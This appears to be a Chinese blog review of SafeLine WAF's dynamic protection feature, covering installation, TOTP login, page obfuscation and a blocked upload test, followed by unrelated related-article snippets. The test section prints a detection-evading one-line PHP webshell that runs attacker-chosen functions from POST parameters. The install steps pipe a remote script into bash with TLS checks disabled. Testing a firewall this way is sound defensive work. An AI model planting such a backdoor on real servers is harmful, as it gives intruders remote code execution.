雷池WAF《动态防护》功能体验

一、雷池简介(官方)

自 2016 年起,长亭就开源了雷池的语义分析算法自动机引擎,随后又陆续开源了雷池相关风控插件和引擎通信协议。雷池的商业版本自发布以来,得到了各大咨询机构和众多顶级企业的认可。然而,尽管雷池取得了显著的市场成功,但实际使用的头部企业数量仍然有限。只有少数群体真正体验过雷池的产品,这使得我们感到遗憾,因为智能语义分析算法并未能广泛普及。

为了让更多用户零成本地体验到语义分析算法的强大功能,2023年四月份,雷池在 GitHub 上发布了雷池的社区免费版本。希望通过这一举措,让更广大的开发者和企业能够受益于雷池的技术优势,共同推动智能语义分析算法的发展与应用。

二、在线安装雷池

1、安装命令

执行以下命令脚本会自动检测docker环境并完成安装

复制以下命令执行,即可完成安装

bash -c "$(curl -fsSLk https://waf-ce.chaitin.cn/release/latest/setup.sh)"

如果需要使用华为云加速,可使用

CDN=1 bash -c "$(curl -fsSLk https://waf-ce.chaitin.cn/release/latest/setup.sh)"

如果需要安装最新版本流式检测模式,可使用

STREAM=1 bash -c "$(curl -fsSLk https://waf-ce.chaitin.cn/release/latest/setup.sh)"

2、登录流程​

1.浏览器打开后台管理页面 https://<waf-ip>:9443

2.输入初始的admin密码

完成安装后在shell会自动输出密码。

Alt text

若忘记查看,需手动执行重置命令获得初始密码

docker exec safeline-mgt resetadmin

Alt text

3.根据界面提示,使用 支持 TOTP 的认证软件或者小程序 扫描二维码,然后输入动态口令登录:

totp认证程序大家可以使用微软的Authenticator程序,支持同步

 如果你不喜欢totp认证的话,在登陆后可以关闭。

TOTP 是什么?

TOTP是一种两步验证方法,通常用于提高账号的安全性。与静态密码不同,TOTP生成的密码是动态的,并且每隔一段时间(通常是30秒)会自动更新。这样,即使攻击者获得了临时密码,也无法在有效时间外使用。

TOTP 的工作原理
  1. 共享密钥(Secret Key):在设置TOTP时,用户和服务提供商之间会共享一个秘密密钥。这通常是一个随机生成的字符串,通过QR码或手动输入来完成共享。

  2. 时间同步:TOTP基于时间戳生成密码,因此用户设备和服务提供商的服务器需要时间同步。一般情况下,时间同步误差在几秒钟内不会影响验证。

  3. 生成动态密码:TOTP算法结合共享密钥和当前时间戳,通过哈希函数生成一个唯一的动态密码。这个密码通常是6到8位数字。

  4. 验证过程

    • 用户在登录时输入用户名和密码后,还需要输入TOTP生成的动态密码。
    • 服务提供商使用同样的共享密钥和时间戳生成一个动态密码,并与用户输入的密码进行比对。
    • 如果两个密码匹配,用户即可通过验证。
使用 TOTP 的应用

TOTP广泛应用于各类需要高安全性的场景,例如:

  • 银行和金融服务:保护用户的网上银行账户。
  • 企业系统:保障员工远程登录企业内网的安全。
  • 社交媒体和电子邮件:防止账号被黑客入侵。
  • 云服务和开发者平台:如GitHub、AWS等提供的双因素认证选项。
TOTP 的优势
  • 高安全性:动态密码每隔一段时间更新一次,极大降低了密码被盗用的风险。
  • 易于使用:只需在移动设备上安装一个TOTP生成器应用,如Google Authenticator或Authy。
  • 离线工作:TOTP生成不需要网络连接,只需设备时间准确。
如何使用 TOTP
  1. 安装TOTP应用:在智能手机上安装TOTP生成器应用,如Google Authenticator、Authy或微软认证器。
  2. 设置TOTP:在需要双因素认证的服务中启用TOTP选项,扫描QR码或输入共享密钥。
  3. 登录时使用:每次登录时,在输入完静态密码后,打开TOTP应用生成动态密码,并输入到相应的验证框中。

通过这种方式,TOTP大大增强了账户的安全性,让用户能够更放心地进行在线操作。

 三、体验动态防护

1、动态防护介绍

这是雷池在6.0的版本中新加入的功能。 

长亭官方是这样介绍的:

动态防护功能是长亭雷池WAF的一次重要更新,旨在提供更加灵活和高效的安全防护。该功能通过实时监测和动态调整防护策略,实现对Web应用的全方位保护。

动态防护功能的主要特点包括:

实时监测:动态防护功能能够实时监测网站中的HTML和JavaScript代码,并根据需要进行动态加密和混淆,从而有效阻止爬虫和攻击自动化利用程序。

动态加密和混淆:即使是静态页面,也会具有动态的随机性。这种技术可以将网页赋予动态特性,使得每次访问时,代码都会以不同的随机形态出现,从而增加了攻击者的难度。

保护前端代码的隐私性:通过动态加密保护,前端代码的隐私性得到增强,进一步提升了网站的安全性。

主动防御:动态防护不仅可以防护传统攻击行为,还可以有效防御传统手段无法应对的新兴威胁。

多维度立体化的综合防御系统:结合AI智能威胁检测技术,构建起多维度立体化的综合防御系统,高效应对各种安全威胁。

易于管理和部署:用户可以通过简单的操作开启和管理动态防护功能,确保网站的安全性。

[6.0.0] - 2024-05-31

  • 站点高级防护新增动态防护(BETA),能自动动态加密网站的 html 和 js 源码,阻止爬虫和攻击自动化程序的分析(对应新增 safeline-chaos 容器)

 

        2、添加防护网站

1、首先我们登录进入后,选择防护站点

2、点击添加站点

填入网站需要监听的域名端口,在上游服务器填入网站服务器内网地址。

3、配置动态防护的资源

        1)从站点防护进入动态防护配置页,点击黄色禁用改为启用

 

2)添加防护资源、点击右下角添加需要保护的资源

 

3)防护前后对比

防护前:

防护后:

 

3、动态防护评价 

        从上面的对比中我们可以看到,在选中需要防护的资源后,页面会提示已经被waf保护了,这个时候我们可以看到,原来页面上的原始代码,已经变成了被混淆后的代码,安全性大大提高了。

        长亭雷池WAF的动态防护功能在实际应用中具有显著的正面影响,不仅提升了企业的网络安全防护能力,还通过其灵活性、高性能和低延迟等特点,为企业带来了便捷和高效的网络安全解决方案。 

四、攻击测试(我自己的网站,小朋友不要学啊)

1、构建攻击代码

我们构建一个变量传递多次的后门代码,这个代码正常情况下是不会报毒的,将他通过web上传到服务器,看看能不能被雷池检测到

<?php $username = $_POST['username']; $password = $_POST['password']; $shell = "username"; $variable = $password; @$$shell($variable); ?>

2、上传测试

可以很明显看到,我们的上传文件操作出错了,打开请求一看,哦,是雷池。

 

3、后台检查

这里可以看到,系统提示我的网站正在遭受攻击,防护效果还是不错的。清楚的标明了攻击者的ip,被攻击的日志记录,还可以进行ai分析。

 

 

 

五、长亭大模型对攻击新型ai分析

非常的牛逼啊,建议大家试一试

 

七、相关地址 

官网:雷池 WAF 社区版 | 下一代 Web 应用防火墙 | 免费使用 (chaitin.cn) 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/22661.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

MT3050 区间最小值

思路&#xff1a; 使用ST表 ST模板可参考MT3024 maxmin 代码&#xff1a; 1.暴力9/10&#xff1a; #include <bits/stdc.h> using namespace std; const int N 1e5 10; int n, m; int a[N]; int main() {ios::sync_with_stdio(false);cin.tie(0);cout.tie(0);cin …

2024精选热门骨传导耳机推荐,你不会还不挑选吧?

骨传导耳机作为最近两年来才兴起的耳机品类&#xff0c;在街头的出现频率并不是很高&#xff0c;很多人对骨传导耳机不够了解甚至没听说过。骨传导耳机不入耳的设计&#xff0c;安全性、舒适性和稳定性都更高&#xff0c;既然有这么多的优势&#xff0c;那就为大家挑选几款高性…

16. 最接近的三数之和 - 力扣

1. 题目 给你一个长度为 n 的整数数组 nums 和 一个目标值 target。请你从 nums 中选出三个整数&#xff0c;使它们的和与 target 最接近。 返回这三个数的和。 假定每组输入只存在恰好一个解。 2. 示例 3.分析 做这道题目前&#xff0c;先做这道&#xff1a;三数之和 &#x…

手动操作Telnet不嫌累?要不试一下我自制的自动执行指令Telnet工具吧!

网管小贾 / sysadm.cc 昨天发生了一件事&#xff0c;我现在仍记忆犹新。 一大早我就被秘书喊进了胡总的办公室…… 一进门&#xff0c;只见我们部门的赖经理也在。 我打完招呼&#xff0c;胡总就问我&#xff0c;最近调到我们部门实习的小王表现如何。 我偷偷瞥了一眼赖经理…

【已有项目版】uniapp项目发版pda -- Android Studio

必备资料清单&#xff1a; 构建完成的app项目 在HBuilderX开发的uniapp项目 .keystore文件 文章目录 1. 安装Android Studio&#xff1a;https://developer.android.google.cn/studio?hlzh-cn2. 安装Android 离线SDK&#xff1a;https://nativesupport.dcloud.net.cn/AppDocs…

短期业绩波动较大被券商不予评级,金种子酒背靠华润如何发力?

《港湾商业观察》施子夫 王璐 虽然一季度成功实现了扭亏为盈&#xff0c;但从近些年年报来看&#xff0c;金种子酒&#xff08;600199.SH&#xff09;的业绩压力依然不容小觑。白酒主业萎靡不振时&#xff0c;金种子酒开始了剥离非主营业务。 这些措施能否有利于主业向好&am…

jmeter的infludb+grafana实时监控平台

目的&#xff1a;可以实时查看到jmeter拷机信息 框架&#xff1a;将 Jmeter 的数据导入 InfluxDB &#xff0c;再用 Grafana 从 InfluxDB 中获取数据并以特定的模板进行展示 性能监控平台部署实践 一、influxDB 官网&#xff1a;https://www.influxdata.com/downloads/ wget h…

5款相见恨晚的神级软件推荐,每一款都让人惊喜

今天来给大家种草5款特别赞且完全免费的软件&#xff0c;每一款都超级好用&#xff0c;的值得大家去试试。 搜书大师「Android、iPhone」 亮点&#xff1a;看小说神器。 搜书大师是看小说的神器&#xff0c;而且永久免费哦&#xff0c;看书的时候再也不会被那些烦人的弹窗广…

职场不设限<1>:真正的AI产品经理太少了

针对AI产品经理这个岗位畅聊并总结成文&#xff0c;希望能给大家的职业路径增加一种可能性 本文篇幅适中&#xff0c;内容环环相扣&#xff1a; 1&#xff0c;AI产品经理到底该怎么定义&#xff1f; 2&#xff0c;做AI产品经理需要具备哪些能力&#xff1f; 3&#xff0c;A…

并查集与克鲁斯卡尔算法详解

并查集的常见用途&#xff1a;求连通子图&#xff1b;克鲁斯卡尔算法&#xff1b;求最近公共祖先 三个基本操作&#xff1a;&#xff08;1&#xff09;makeSet&#xff1a;建立一个新的并查集&#xff0c;其中包含s个单元素的集合&#xff1b; &#xff08;2&#xff09;unio…

弘君资本:半导体板块强势拉升,上海贝岭涨停,台基股份等大涨

半导体板块5日盘中强势拉升&#xff0c;到发稿&#xff0c;台基股份涨超15%&#xff0c;中晶科技、上海贝岭等涨停&#xff0c;国科微、长川科技涨超7%&#xff0c;紫光国微、富满微、金海通等涨超5%。 组织表示&#xff0c;半导体职业处于历史较低水平&#xff0c;大基金三期…

Ansible自动化运维工具 playbook 剧本

一、Playbooks 1. playbooks 介绍 Playbooks&#xff08;剧本&#xff09;是一种用于定义自动化任务的文件&#xff0c;通常与诸如Ansible等工具相关联。它们以YAML格式编写&#xff0c;包含了一系列有组织的任务&#xff0c;这些任务可以在远程计算机上执行。一个Playbook通…

微信小程序毕业设计-在线订餐系统项目开发实战(附源码+论文)

大家好&#xff01;我是程序猿老A&#xff0c;感谢您阅读本文&#xff0c;欢迎一键三连哦。 &#x1f49e;当前专栏&#xff1a;微信小程序毕业设计 精彩专栏推荐&#x1f447;&#x1f3fb;&#x1f447;&#x1f3fb;&#x1f447;&#x1f3fb; &#x1f380; Python毕业设计…

微服务学习Day9-分布式事务Seata

文章目录 分布式事务seata引入理论基础CAP定理BASE理论 初识Seata动手实践XA模式AT模式TCC模式SAGA模式 高可用 分布式事务seata 引入 理论基础 CAP定理 BASE理论 初识Seata 动手实践 XA模式 AT模式 TCC模式 Service Slf4j public class AccountTCCServiceImpl implements A…

mvsplat 的笔记

变量理解&#xff1a; context_image&#xff1a; 表示投影的 refrence image Epipolar Transformer vs Swin Transformer : 不同于 Pixel Splat 使用的是 Epipolar Transformer. MVspalt 使用的是 Swin Transformer&#xff0c; 但是作者在 Code 里面 也使用了 Epipolar Tran…

【Vue】v-model在其他表单元素的使用

讲解内容&#xff1a; 常见的表单元素都可以用 v-model 绑定关联 → 快速 获取 或 设置 表单元素的值 它会根据 控件类型 自动选取 正确的方法 来更新元素 输入框 input:text ——> value 文本域 textarea ——> value 复选框 input:checkbox ——> checked…

国内这些免费好用的saas软件你知道几个?

什么是saas软件&#xff1f; 软件即服务&#xff0c;或简称SaaS&#xff0c;是一种用于向用户提供软件的基于云的方法。软件即服务&#xff08;SaaS&#xff09;是一种基于云的软件模型&#xff0c;可通过Internet 浏览器将应用程序交付给最终用户。SaaS 供应商托管服务和应用程…

将现有web项目打包成electron桌面端教程

后续项目需要web端和桌面端&#xff0c;为了提高开发效率&#xff0c;准备直接将web端的代码打包成桌面端&#xff0c;在此提前记录一下demo打包的过程&#xff0c;我的项目是vue3tsvite&#xff0c;需要注意的是vue2或者vue3jsvite或者vue-cli的打包方式各不同&#xff0c;如果…

伏图(Simdroid)5.0 电子散热模块介绍

伏图-电子散热模块&#xff08;Simdroid-EC&#xff09;是云道智造基于通用多物理场仿真PaaS平台伏图开发的针对电子元器件、设备等散热的专用热仿真模块&#xff0c;内置电子产品专用零部件模型库&#xff0c;支持用户通过“搭积木”的方式快速建立电子产品的热分析模型&#…

Facebook开户|如何科学高效投放Facebook Ads

中午好家人们~今天Zoey来聊聊如何科学高效投放Facebook Ads~ 一、定义目标受众 在开始广告投放之前&#xff0c;需要明确定义你的目标受众。你可以根据受众的年龄、性别、兴趣、行为以及他们所在的地理位置等信息来确定目标受众。这样有助于创建精准的广告&#xff0c;并确保广…